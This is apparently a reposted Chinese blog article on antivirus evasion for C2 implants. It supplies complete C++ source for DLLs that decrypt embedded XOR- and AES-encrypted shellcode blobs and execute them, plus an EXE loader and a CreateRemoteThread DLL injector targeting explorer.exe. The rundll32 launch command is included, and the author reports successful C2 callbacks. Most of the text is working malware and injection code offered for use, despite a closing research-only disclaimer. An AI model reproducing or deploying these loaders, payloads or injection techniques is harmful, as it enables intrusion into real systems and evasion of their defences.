rundll32.exe 是 Windows 提供的一个系统程序，专门用于调用 DLL 文件中导出的函数。
1、首先写一个能用rundll32运行的加载shellcode上线的DLL代码，一定要加上调试代码！
为了让rundll32.exe成功运行你的DLL，该DLL必须满足下面两点：
①必须导出一个函数，函数名不能被C++修饰（即必须extern"C"），并且符合签名；
②不能使用DllMain作为主逻辑，rundll32不会自动执行你在DllMain中的恶意代码，必须通过导出的函数触发。
unsigned char xor_key[] = { 'k','u','n' };size_t xor_key_len = sizeof(xor_key);// 请替换为你的真实 shellcodeunsigned char encrypted_shellcode[] = "x97x3dxedx8fx85x86xa3x75x6ex6bx34x3fx2ax25x3cx3ax23x26x5axa7x0bx23xfex3cx0bx3dxe5x39x6dx26xe0x27x4ex23xfex1cx3bx3dx61xdcx3fx24x26x44xa7x23x44xaexc7x49x0fx17x77x42x4bx34xafxa2x78x2fx6axb4x8cx86x27x2fx3ax3dxe5x39x55xe5x29x49x26x6axa5x08xeax0dx76x60x77x1bx19xfexeexe3x75x6ex6bx3dxebxabx01x09x23x74xbex3bxfex26x73x31xe5x2bx55x27x6axa5x8dx3dx3dx91xa2x34xe5x5fxfdx26x6axa3x23x5axbcx26x5axb5xc2x2axb4xa7x66x34x6fxaax4dx8ex1ex84x22x68x39x4ax63x30x57xbax00xb6x33x31xe5x2bx51x27x6axa5x08x2axfex62x23x31xe5x2bx69x27x6axa5x2fxe0x71xe6x23x74xbex2ax2dx2fx33x2bx37x31x34x36x2ax2cx2fx31x3dxedx87x55x2fx39x8ax8ex33x34x37x31x3dxe5x79x9cx21x94x8ax91x36x1fx6ex22xcbx19x02x1bx07x05x10x1ax6bx34x38x22xfcx88x27xfcx9fx2axcfx22x1cx53x69x94xa0x26x5axbcx26x5axa7x23x5axb5x23x5axbcx2fx3bx34x3ex2axcfx54x3dx0cxc9x94xa0x85x18x2fx26xe2xb4x2fxd3x28x7fx6bx75x23x5axbcx2fx3ax34x3fx01x76x2fx3ax34xd4x3cxfcxf1xadx8axbbx80x2cx35x23xfcxafx23x44xbcx22xfcxb6x26x44xa7x39x1dx6ex69x35xeax39x27x2fxd1x9ex3bx45x4ex91xbex3dxe7xadx3dxedxa8x25x04x61x2ax26xe2x84x26xe2xafx27xacxb5x91x94x8ax91x26x44xa7x39x27x2fxd1x58x68x73x0ex91xbexf0xaex64xf0xf3x6ax75x6ex23x8axa1x64xf1xe2x6ax75x6ex80xa6x87x8fx74x6ex6bx9dxccx94x8ax91x44x1fx2fx27x13x6ex29xfbx4cx87x7cx4exa3x5ax27x7ex12x9bxe1xb6xcbx0dx98x9ex71x24xf0xbbx35xe9x45x21xf4x5fx7fx0cx90xf4x74xe8x6axb2xb5x4fx8cxf6xd6x9ex51xdfx81xaex76x30x26xddxbdx75x63x41xc0x67x3cx70xd5xf5x79xadx41x9fxc5xa7x6axfdx58x20xbdxafx8cx75x3bx18x10x1cx46x34x09x0ex1bx1ax51x55x23x04x0fx07x07x19x0fx44x40x40x5bx55x46x08x1ax03x1bx14x1ax02x17x02x0ex4ex4ex26x26x27x2ex55x5fx5bx5bx5ex50x55x39x02x1bx0ax04x02x1dx4bx3bx3ax4bx43x40x5ax4ex4ex3cx3ax39x5dx41x55x4bx21x1cx02x11x0bx05x01x41x5dx5bx5ex42x78x64x6bx43xacxbcx37xdfx7bx58xffx31x6fx96x46xfex4fx38xd0xe3xf3xfbx3cx0cx3ax75x82x1cxf1xd9x1dxd2x49x6bx9ax46x25x9exafx69x9ax83x12xf0x10xb9x26x75x0ax1axaex03x61x24x6fx4bxe9xe7xcdx58xf4xbex95xd0x46x3fx7bx37x76xc8x0bx35x3bx9ax2bxaaxd5x1cxafx4bx35xdax25x9ax69x5cx0fxd4x0cx3bxbax3dxd2xf0xb9x6axcdx8fx81xe2x9ex52xebx6dx1ex61x25x5cx1exc4x0fx0ex1fxa3x88x22x5bx62x3exc1xeexd7x8cx43xf1x25x90xf4x7dxbbxbcxc7x7ex9dx83xfaxffx9dxbfx51x9fx76x7axb2xc7xa7xa0x6cxddxddxe8x55xc9xb7xdaxa1xfexd5x9dx0exabx49xb9x06x93xacx62x68xd6xd4x0bx75x17x50x9fx02x8fx7bx0dx47x97xc7x5dxc6x34x43x86x20xc3x5fx4exd5x64x83x5dx7fx55x6bx69x3ex7fx99x02x4fxa4x1bxa1x0ex07x03x54x1dxf2xe1x04x4dxa8x36xd3x09x6ex2axcbx9exdexd7x38x94xa0x26x5axbcxd4x6bx75x2ex6bx34xd6x6bx65x6ex6bx34xd7x2bx75x6ex6bx34xd4x33xd1x3dx8ex8axbbx23xe6x3dx38x3dxe7x8cx3dxe7x9ax3dxe7xb1x34xd6x6bx55x6ex6bx3cxe7x92x34xd4x79xe3xe7x89x8axbbx23xf6xaax4bxf0xaex1fxc3x08xe0x72x26x6axb6xebxabx00xb9x33x2dx36x23x70x6ex6bx75x6ex3bxb6x86xf4x88x91x94x44x57x59x5bx5fx5dx4dx40x59x40x5bx45x44x6ex6bx7fx42x41";size_t encrypted_len = sizeof(encrypted_shellcode);voidDecryptShellcode(unsignedchar* data, size_t len){for (size_t i = 0; i < len; ++i) {data[i] ^= xor_key[i % xor_key_len];}}DWORD WINAPI RunShellcode(LPVOID){MessageBoxA(NULL, "Thread started", "Debug", MB_OK);unsigned char* shellcode = (unsigned char*)VirtualAlloc(NULL, encrypted_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!shellcode) {MessageBoxA(NULL, "VirtualAlloc failed", "Error", MB_OK);return 1;}memcpy(shellcode, encrypted_shellcode, encrypted_len);MessageBoxA(NULL, "Shellcode copied", "Debug", MB_OK);DecryptShellcode(shellcode, encrypted_len);MessageBoxA(NULL, "Shellcode decrypted", "Debug", MB_OK);// 直接调用 shellcode 并挂住主线程，避免提前退出((void(*)())shellcode)();MessageBoxA(NULL, "Shellcode finished (unexpected!)", "Debug", MB_OK);SecureZeroMemory(shellcode, encrypted_len);VirtualFree(shellcode, 0, MEM_RELEASE);return 0;}extern "C" __declspec(dllexport) void CALLBACK Start(LPWSTR lpCmdLine, DWORD nCmdShow){MessageBoxA(NULL, "Start() called", "Debug", MB_OK);HANDLE hThread = CreateThread(NULL, 0, RunShellcode, NULL, 0, NULL);if (hThread == NULL) {MessageBoxA(NULL, "CreateThread failed", "Error", MB_OK);}else {WaitForSingleObject(hThread, INFINITE); // 避免主线程提前退出CloseHandle(hThread);}}// =========== 标准 DllMain ===========BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){if (fdwReason == DLL_PROCESS_ATTACH) {DisableThreadLibraryCalls(hinstDLL); // 减少不必要的通知}return TRUE;}
2、编译
首先，位数一定要匹配。因此编译时也选64位
其次，用VS创建DLL项目时，默认会有固定的头文件。这里可以取消掉
3、使用如下命令运行dll
rundll32.exe qiuhuiDLL2.dll,Start#rundll32.exe <DLL路径>,<导出函数名>
成功上线！
这是开发测试阶段常用的方式
1、重新写一个加载shellcode上线的DLL，这次改用aes
// dllmain.cpp// ===== AES Key & IV（必须与 Python 加密一致）=====BYTE aesKey[16] = {// 自己的key};BYTE aesIV[16] = {// 自己的IV};// ===== 你用 AES 加密后的 shellcode（示例）=====unsigned char encrypted_shellcode[] = {0xf5, 0x1f, 0xd7, 0x50, 0xfb, 0x8f, 0x8e, 0xe8, 0xe3, 0x40, 0x26, 0xae, 0x93, 0xf2, 0x7a, 0xce, 0x07, 0xd6, 0x65, 0x99, 0x4a, 0xa4, 0x87, 0xf1, 0x2f, 0xf4, 0x00, 0x80, 0x52, 0x16, 0x6d, 0x2b, 0x44, 0x01, 0xcd, 0x35, 0xac, 0xd7, 0xa6, 0x45, 0x2a, 0x3a, 0x59, 0x71, 0xf3, 0x1c, 0x51, 0x86, 0x38, 0xf5, 0x6b, 0x3b, 0x92, 0xfc, 0xfd, 0x1e, 0x0f, 0x9c, 0x4e, 0x64, 0x14, 0x3b, 0xd2, 0xfd, 0xfa, 0xa6, 0xb1, 0x17, 0x78, 0xcc, 0xe9, 0x31, 0xce, 0xa0, 0xce, 0x0b, 0x24, 0x2a, 0x68, 0x1d, 0xd5, 0x44, 0x80, 0x8a, 0xb6, 0xf8, 0xe8, 0x8f, 0x44, 0xc7, 0x4d, 0x1b, 0x9d, 0xaf, 0x91, 0x32, 0xa1, 0x3a, 0x1f, 0xda, 0xeb, 0xb9, 0xf9, 0x5e, 0x01, 0x74, 0x25, 0xb7, 0x13, 0x61, 0x50, 0xc9, 0x47, 0x21, 0x2a, 0x52, 0x9b, 0x6a, 0x92, 0x17, 0x7f, 0xd4, 0x9e, 0xf4, 0x23, 0x12, 0x5e, 0x20, 0x14, 0x5d, 0xf7, 0xa9, 0x0b, 0x25, 0xfb, 0xd0, 0x52, 0xec, 0xe5, 0x8d, 0x02, 0xbf, 0xff, 0x2b, 0x89, 0xa6, 0x1f, 0x56, 0x14, 0xed, 0x42, 0x68, 0xcf, 0xdd, 0x38, 0x94, 0x77, 0xd6, 0xf4, 0xc3, 0x3e, 0xdf, 0xd9, 0x1d, 0xdf, 0x39, 0xcd, 0x52, 0x5c, 0xff, 0x8c, 0x85, 0x17, 0xec, 0x34, 0xfc, 0x1f, 0xb3, 0xbe, 0xf4, 0xa5, 0x63, 0x6b, 0x15, 0x1b, 0xf0, 0x2a, 0xd2, 0x5a, 0xe1, 0xac, 0x31, 0x67, 0xd1, 0x2e, 0x73, 0x15, 0x9e, 0x2f, 0xb9, 0xd9, 0xf7, 0xa9, 0x57, 0xa6, 0xa7, 0x58, 0x16, 0x07, 0x50, 0x1a, 0x6b, 0xd3, 0xa1, 0xbc, 0x5b, 0xef, 0xbb, 0xe6, 0x71, 0x15, 0xfa, 0xb5, 0x11, 0x9b, 0x8f, 0x4a, 0x52, 0x12, 0x60, 0x10, 0x27, 0x35, 0x27, 0xde, 0x4b, 0xaa, 0xac, 0x60, 0x19, 0x48, 0x9e, 0x8d, 0x91, 0xeb, 0xa3, 0xc6, 0x7c, 0xb9, 0xf9, 0xbd, 0xb1, 0xea, 0xe2, 0x44, 0x99, 0x31, 0xa6, 0xc7, 0xb2, 0xa6, 0xa9, 0x3d, 0xee, 0xd0, 0xbf, 0x06, 0x9f, 0x7b, 0xae, 0xc2, 0xf6, 0x6a, 0x54, 0x5d, 0xac, 0x52, 0xd0, 0xb4, 0x93, 0x0e, 0xfa, 0x2b, 0x55, 0xe4, 0x74, 0x2d, 0xc5, 0x65, 0x59, 0xdd, 0xf7, 0xeb, 0xa0, 0x1a, 0xd1, 0x07, 0x04, 0x03, 0xe1, 0x37, 0x37, 0x0d, 0xc4, 0x1b, 0xb7, 0x5b, 0xd9, 0xd1, 0xae, 0x9d, 0xe9, 0x50, 0x6e, 0xef, 0xd0, 0xb5, 0xe5, 0x86, 0xc0, 0x2e, 0x90, 0xc7, 0xbb, 0xc7, 0x00, 0x57, 0xd6, 0x8a, 0xd9, 0xbf, 0xa9, 0x56, 0x52, 0x9b, 0x7e, 0x5a, 0x8d, 0x8c, 0x83, 0xdb, 0x4e, 0x8b, 0xc6, 0x4a, 0xb9, 0xe2, 0x5e, 0x75, 0x4c, 0x8c, 0x8c, 0x0f, 0x68, 0x4f, 0x1c, 0x88, 0x7e, 0xbd, 0xb6, 0x98, 0x56, 0xc4, 0x4b, 0x55, 0x81, 0x5f, 0xaf, 0xa7, 0x0e, 0xcd, 0x25, 0xa2, 0x24, 0x41, 0x1d, 0xa2, 0xac, 0x89, 0x6a, 0x20, 0xa9, 0x55, 0x1f, 0x26, 0x29, 0x6c, 0x87, 0x1c, 0xc3, 0x0a, 0x4d, 0x49, 0xf2, 0x4e, 0x90, 0xfa, 0x9e, 0x90, 0xba, 0xd5, 0xf5, 0x8d, 0x76, 0x07, 0xad, 0x2f, 0x01, 0xb9, 0x54, 0xde, 0xf5, 0x00, 0x00, 0x34, 0xbb, 0x2b, 0x86, 0x3d, 0xd0, 0x5c, 0x1d, 0xb2, 0x96, 0x0a, 0x5f, 0x83, 0x8b, 0x74, 0xe9, 0xcc, 0xe6, 0x74, 0x7e, 0xe7, 0xd8, 0xd5, 0xad, 0x97, 0xe1, 0x49, 0x4d, 0x04, 0xda, 0xa8, 0x90, 0xbb, 0x01, 0xbc, 0x8b, 0x4d, 0xa2, 0x8f, 0xdc, 0x4a, 0x86, 0xc4, 0xae, 0xa2, 0x69, 0xce, 0xde, 0x4c, 0xba, 0x92, 0x82, 0x77, 0x88, 0xeb, 0x55, 0x19, 0x4e, 0xb3, 0xa1, 0x8a, 0x87, 0x1e, 0xd1, 0xb4, 0x52, 0x6b, 0x30, 0xb8, 0xa0, 0x5c, 0x77, 0x40, 0xc1, 0x20, 0x45, 0x43, 0x48, 0x10, 0xd9, 0x6c, 0xfb, 0x29, 0xe4, 0x4c, 0x2e, 0xfb, 0xdc, 0x07, 0x85, 0x8d, 0x84, 0xde, 0x8f, 0x30, 0x34, 0x52, 0x1c, 0xc5, 0xe5, 0x84, 0xe0, 0x90, 0x8d, 0x5f, 0x25, 0x8a, 0x40, 0x86, 0x1c, 0x2b, 0xb4, 0x69, 0xea, 0xf4, 0x76, 0x25, 0x3b, 0x69, 0x77, 0xa6, 0x98, 0xdc, 0x5a, 0x75, 0x48, 0xac, 0xc9, 0xbf, 0xa8, 0x4c, 0xcb, 0x99, 0x4c, 0x53, 0x97, 0x7d, 0xd9, 0xdf, 0x04, 0xcc, 0x49, 0xbd, 0x48, 0x73, 0xee, 0x7f, 0xa9, 0x47, 0x40, 0xf8, 0x3a, 0xde, 0x1a, 0xc1, 0x8f, 0x34, 0x8b, 0x17, 0x91, 0x4a, 0xf1, 0xbd, 0xd9, 0xb9, 0x04, 0xa8, 0x0b, 0x0d, 0x2b, 0x1e, 0xfb, 0x8c, 0xf9, 0x6d, 0x37, 0x79, 0x71, 0xbb, 0x56, 0x27, 0xa0, 0x93, 0xe8, 0xaf, 0x21, 0x2e, 0xbf, 0x00, 0xb0, 0xcb, 0x13, 0x29, 0x6d, 0x33, 0x60, 0xda, 0x11, 0xf5, 0xf9, 0x5c, 0x4d, 0xd5, 0x28, 0x74, 0x97, 0x2c, 0x57, 0xb0, 0x13, 0x87, 0xf9, 0x4a, 0xd2, 0xdd, 0xd2, 0x78, 0x3a, 0xe9, 0x7e, 0xda, 0x75, 0x91, 0xdf, 0x1f, 0xb4, 0xcd, 0x2f, 0x50, 0xf9, 0x73, 0xee, 0xb1, 0x9d, 0x2e, 0x7f, 0x0f, 0xce, 0x09, 0x2e, 0x48, 0x96, 0x97, 0x8d, 0x4f, 0x88, 0xf3, 0xe6, 0x6d, 0xa5, 0xeb, 0xde, 0xee, 0x81, 0xf6, 0xab, 0xdb, 0xb5, 0xeb, 0x6b, 0x04, 0x48, 0x5e, 0x90, 0x0e, 0x39, 0x04, 0xa5, 0xe3, 0xa9, 0x85, 0x92, 0xc0, 0x82, 0x0d, 0x17, 0xfd, 0x02, 0x62, 0xa6, 0xed, 0xba, 0xf9, 0xf4, 0xa7, 0x90, 0xd6, 0xb1, 0x45, 0x00, 0xba, 0x11, 0x18, 0xcd, 0x4b, 0xaa, 0xea, 0x77, 0xad, 0x57, 0x0e, 0xb8, 0x30, 0x21, 0xa7, 0x4a, 0x00, 0xb1, 0xd4, 0x08, 0x40, 0xe2, 0x96, 0x5a, 0xef, 0x75, 0x71, 0x5e, 0x4f, 0x7e, 0x55, 0x5f, 0x9c, 0x2d, 0x69, 0xbf, 0x74, 0x68, 0xad, 0x94, 0xfd, 0x8b, 0xf2, 0x03, 0xd2, 0xc6, 0x88, 0xe4, 0x82, 0x45, 0x80, 0xf4, 0x69, 0x70, 0x50, 0x97, 0x59, 0xd2, 0xf0, 0xd4, 0x8b, 0xba, 0x19, 0x2c, 0x10, 0x3a, 0x1e, 0xb0, 0xeb, 0x9c, 0x0e, 0xc8, 0x32, 0xb9, 0x20, 0x71, 0x31, 0x2f, 0xad, 0x36, 0xb4, 0xc0, 0x4b, 0xb8, 0xa2, 0x07, 0x16, 0xff, 0xd6, 0x11, 0x22, 0xfb, 0xfb, 0xfe, 0xbf, 0xa8, 0xf0, 0x3a, 0xfa, 0xec, 0xee, 0xd6, 0x69, 0x2a, 0x0b, 0x09, 0x57, 0x42, 0xe9, 0x9d, 0x14, 0x93, 0xcc, 0x3b, 0xbc, 0x5b, 0x60, 0xc2, 0x11, 0x1a, 0x7a, 0x5a, 0x0c, 0x97, 0xa4, 0x4d, 0x98, 0x9e, 0x57, 0x9a, 0x43, 0x7f, 0xae, 0x87, 0x2b, 0xeb, 0x93, 0x8c, 0x28, 0xe2, 0xc7, 0x10, 0xcb, 0xec, 0x5f, 0xfb, 0xa4, 0x4a, 0x46, 0x4f, 0x3c, 0x26, 0x3c, 0xa2, 0xe2, 0x8a, 0x53, 0xc0, 0x84, 0xd4, 0xd8, 0x95, 0xef, 0xdc, 0x26, 0x63, 0x47, 0x51, 0x17, 0xf4, 0xb8, 0x8f, 0xe9, 0xfe, 0xaf, 0xdb, 0xbd, 0xe4, 0x81, 0xf7, 0x8a, 0x79, 0xcc, 0x37, 0xba, 0xcf, 0x03, 0x71, 0x1a, 0xf8, 0xe3, 0x88};size_t encrypted_len = sizeof(encrypted_shellcode);// ===== 解密函数（AES-128-CBC）=====BOOL DecryptShellcode(BYTE* encData, DWORD encLen, BYTE** outData, DWORD* outLen) {HCRYPTPROV hProv = 0;HCRYPTKEY hKey = 0;BOOL success = FALSE;*outData = NULL;*outLen = 0;// 构造明文密钥BlobBYTE keyBlob[sizeof(BLOBHEADER) + sizeof(DWORD) + 16] = { 0 };BLOBHEADER* blobHeader = (BLOBHEADER*)keyBlob;blobHeader->bType = PLAINTEXTKEYBLOB;blobHeader->bVersion = CUR_BLOB_VERSION;blobHeader->reserved = 0;blobHeader->aiKeyAlg = CALG_AES_128;*(DWORD*)(keyBlob + sizeof(BLOBHEADER)) = 16;memcpy(keyBlob + sizeof(BLOBHEADER) + sizeof(DWORD), aesKey, 16);BYTE* buf = (BYTE*)malloc(encLen);if (!buf) return FALSE;memcpy(buf, encData, encLen);do {if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) break;if (!CryptImportKey(hProv, keyBlob, sizeof(keyBlob), 0, 0, &hKey)) break;if (!CryptSetKeyParam(hKey, KP_IV, aesIV, 0)) break;DWORD bufLen = encLen;if (!CryptDecrypt(hKey, 0, TRUE, 0, buf, &bufLen)) break;*outData = buf;*outLen = bufLen;success = TRUE;} while (0);if (!success && buf) free(buf);if (hKey) CryptDestroyKey(hKey);if (hProv) CryptReleaseContext(hProv, 0);return success;}// ===== shellcode 执行函数 =====DWORD WINAPI RunShellcode(LPVOID) {BYTE* shellcode = NULL;DWORD shellcodeLen = 0;if (!DecryptShellcode(encrypted_shellcode, encrypted_len, &shellcode, &shellcodeLen)) {MessageBoxA(NULL, "AES 解密失败", "错误", MB_OK);return 1;}void* exec = VirtualAlloc(NULL, shellcodeLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!exec) return 2;memcpy(exec, shellcode, shellcodeLen);SecureZeroMemory(shellcode, shellcodeLen);free(shellcode);((void(*)())exec)(); // 执行 shellcodereturn 0;}// ===== DLL 自动执行点 =====BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {if (fdwReason == DLL_PROCESS_ATTACH) {DisableThreadLibraryCalls(hinstDLL);CreateThread(NULL, 0, RunShellcode, NULL, 0, NULL);}return TRUE;}
2、写一个exe加载器
intwmain(int argc, wchar_t* argv[]){if (argc != 2) {std::wcout << L"用法: LoadDll.exe <完整DLL路径>" << std::endl;return 1;}const wchar_t* dllPath = argv[1];std::wcout << L"正在尝试加载 DLL: " << dllPath << std::endl;HMODULE hMod = LoadLibraryW(dllPath);if (hMod == NULL) {DWORD err = GetLastError();std::wcerr << L"LoadLibraryW 失败，错误码: " << err << std::endl;return 1;}std::wcout << L"DLL 加载成功！模块句柄: " << hMod << std::endl;// 可选：等待手动关闭，以便观察效果std::wcout << L"按任意键退出..." << std::endl;std::wcin.get();// 卸载 DLL（可选）FreeLibrary(hMod);return 0;}
3、两者编译出来，放到DF上执行，成功上线！
如果说上面两种是DLL代码的运行方式，那么这个就是DLL代码的注入方式。可以说是DLL注入手段里面最基本，最常见的方式
1、由于刚才已经拥有DLL，这里再写一个远程注入的注入器即可
// 用进程名查找目标进程 PIDDWORD FindProcessId(const std::wstring& processName){PROCESSENTRY32W pe32 = { 0 };pe32.dwSize = sizeof(PROCESSENTRY32W);HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) return 0;if (Process32FirstW(hSnapshot, &pe32)) {do {if (!_wcsicmp(pe32.szExeFile, processName.c_str())) {CloseHandle(hSnapshot);return pe32.th32ProcessID;}} while (Process32NextW(hSnapshot, &pe32));}CloseHandle(hSnapshot);return 0;}intmain(){const wchar_t* targetProcess = L"explorer.exe"; // 🟡 你可以改成目标进程名const char* dllPath = "C:\Users\Defender\Desktop\qiuhuiDLL.dll"; // 🟥 修改为你DLL的绝对路径DWORD pid = FindProcessId(targetProcess);if (pid == 0) {std::cout << "未找到目标进程n";return 1;}HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (!hProcess) {std::cout << "打开目标进程失败n";return 1;}size_t pathLen = strlen(dllPath) + 1;LPVOID remoteBuf = VirtualAllocEx(hProcess, nullptr, pathLen, MEM_COMMIT, PAGE_READWRITE);if (!remoteBuf) {std::cout << "内存分配失败n";CloseHandle(hProcess);return 1;}BOOL written = WriteProcessMemory(hProcess, remoteBuf, dllPath, pathLen, nullptr);if (!written) {std::cout << "写入内存失败n";VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);CloseHandle(hProcess);return 1;}// 获取 LoadLibraryA 函数地址（本地）LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");if (!loadLibAddr) {std::cout << "获取 LoadLibraryA 地址失败n";return 1;}// 创建远程线程执行 LoadLibraryA(dllPath)HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0,(LPTHREAD_START_ROUTINE)loadLibAddr, remoteBuf, 0, nullptr);if (!hThread) {std::cout << "创建远程线程失败n";VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);CloseHandle(hProcess);return 1;}std::cout << "注入成功，等待远程线程结束...n";WaitForSingleObject(hThread, INFINITE);VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);CloseHandle(hThread);CloseHandle(hProcess);return 0;}
2、编译出来，放到DF上，直接双击。上线之后立马被干！
后续稍微处理一下，成功上线执行命令
#免杀 #C2 #DLL注入 #shellcode加载器 #钓鱼 #DLL加载 #CS
原文始发于微信公众号（仇辉攻防）：【免杀】C2免杀技术（十）DLL注入-前置篇补充
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论